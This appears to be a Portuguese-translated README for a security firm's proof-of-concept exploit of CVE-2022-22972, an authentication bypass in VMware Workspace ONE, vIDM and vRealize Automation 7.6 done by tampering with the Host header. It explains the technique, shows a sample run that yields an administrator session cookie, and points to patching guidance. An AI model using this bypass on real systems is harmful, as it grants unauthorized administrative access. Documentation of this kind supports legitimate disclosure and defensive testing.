horizon3ai/cve-2022-22972Exploit de prova de conceito para CVE-2022-22972 que contorna a autenticação no VMware Workspace ONE, vIDM e vRealize Automation 7.6 via manipulação do cabeçalho Host.
POC para CVE-2022-22972 afetando VMware Workspace ONE, vIDM e vRealize Automation 7.6.
Uma análise técnica de causa raiz da vulnerabilidade pode ser encontrada em nosso blog: https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive
Este script pode ser usado para contornar a autenticação no vRealize Automation 7.6 usando CVE-2022-22972. Workspace ONE e vIDM têm endpoints de autenticação diferentes, mas a essência da vulnerabilidade permanece a mesma. Ficaremos felizes em aceitar pull requests se você tiver artigos de teste para verificar o fluxo.
Este script funciona alterando o cabeçalho Host de uma requisição HTTP POST de um endpoint de autenticação VMware para um Host controlado por um atacante. Isso faz com que a aplicação VMware contate o Host com informações de credenciais e, se o Host retornar 200, o usuário é autenticado com sucesso.
Este script resulta em um cookie HZN que pode ser incluído em requisições posteriores para realizar ações como o usuário comprometido.
NOTA: Os argumentos padrão do script enviarão a requisição de autenticação para nosso gateway da API AWS, que está configurado para responder com 200 para o endpoint específico mencionado no blog. Você pode alterar isso com a opção --host. Este endpoint não receberá nenhum dado sensível durante o fluxo de exploração - apenas uma requisição da aplicação vulnerável com o cabeçalho de autenticação falso para o qual ele responde.
dev@ubuntu:~/vmware/vra/exploit$ python3 CVE-2022-22972.py https://vra-app01.vra.intranet
Extracting state from vcac redirects...
Sending POST to auth endpoint
HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiJiM2E3MDJiOS01NjJkLTQwODgtYTg2Ny0xZjY5ZWE4YjAyZjMiLCJwcm4iOiJhZG1pbmlzdHJhdG9yQFZTUEhFUkUuTE9DQUwiLCJkb21haW4iOiJ2c3BoZXJlLmxvY2FsIiwidXNlcl9pZCI6IjMiLCJhdXRoX3RpbWUiOjE2NTM0MjUwOTAsImlzcyI6Imh0dHBzOi8vZWkzd3B0OTEwMC5leGVjdXRlLWFwaS51cy1lYXN0LTIuYW1hem9uYXdzLmNvbS9TQUFTL3QvdnNwaGVyZS5sb2NhbC9hdXRoIiwiYXVkIjoiaHR0cHM6Ly9laTN3cHQ5MTAwLmV4ZWN1dGUtYXBpLnVzLWVhc3QtMi5hbWF6b25hd3MuY29tL1NBQVMvdC92c3BoZXJlLmxvY2FsL2F1dGgvb2F1dGh0b2tlbiIsImN0eCI6Ilt7XCJtdGRcIjpcInVybjp2bXdhcmU6bmFtZXM6YWM6Y2xhc3NlczpMb2NhbFBhc3N3b3JkQXV0aFwiLFwiaWF0XCI6MTY1MzQyNTA5MCxcImlkXCI6M31dIiwic2NwIjoicHJvZmlsZSBhZG1pbiB1c2VyIGVtYWlsIG9wZXJhdG9yIiwiaWRwIjoiMiIsImVtbCI6ImFkbWluaXN0cmF0b3JAdnJhLWFwcDAxLnZyYS5pbnRyYW5ldCIsImNpZCI6IiIsImRpZCI6IiIsIndpZCI6IiIsInJ1bGVzIjp7ImV4cGlyeSI6MTY1MzQyNjg5MCwicnVsZXMiOlt7InJlc291cmNlcyI6WyIqIl0sImFjdGlvbnMiOlsiKiJdLCJjb25kaXRpb25zIjpudWxsfV0sImxpbmsiOm51bGx9LCJleHAiOjE2NTM0MjY4OTAsImlhdCI6MTY1MzQyNTA5MCwic3ViIjoiYWQzODkzODEtNTRmNS00ODFkLWFmNWEtOWZjNmIzOGI0NzQ0IiwicHJuX3R5cGUiOiJVU0VSIn0.Kkq2UnmqpW6yJb3GGCp7dSXc5PlU1y8YyDULIYLHIvYlB3OC4j5xFDy91a2tk4bi1lAUITymV-NUgweoCl15LXFVfBFYLEs-OAvMLKZhhGnFF-BrxmyYLPJutkxsi-gL0rF4VmYykuYw9tdUY2DghWiGGZ6QTYOts21QUzcvU-8
Set the HZN cookie in your browser to bypass authentication
Atualize para a versão mais recente ou mitigue seguindo as instruções dentro do VMSA
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.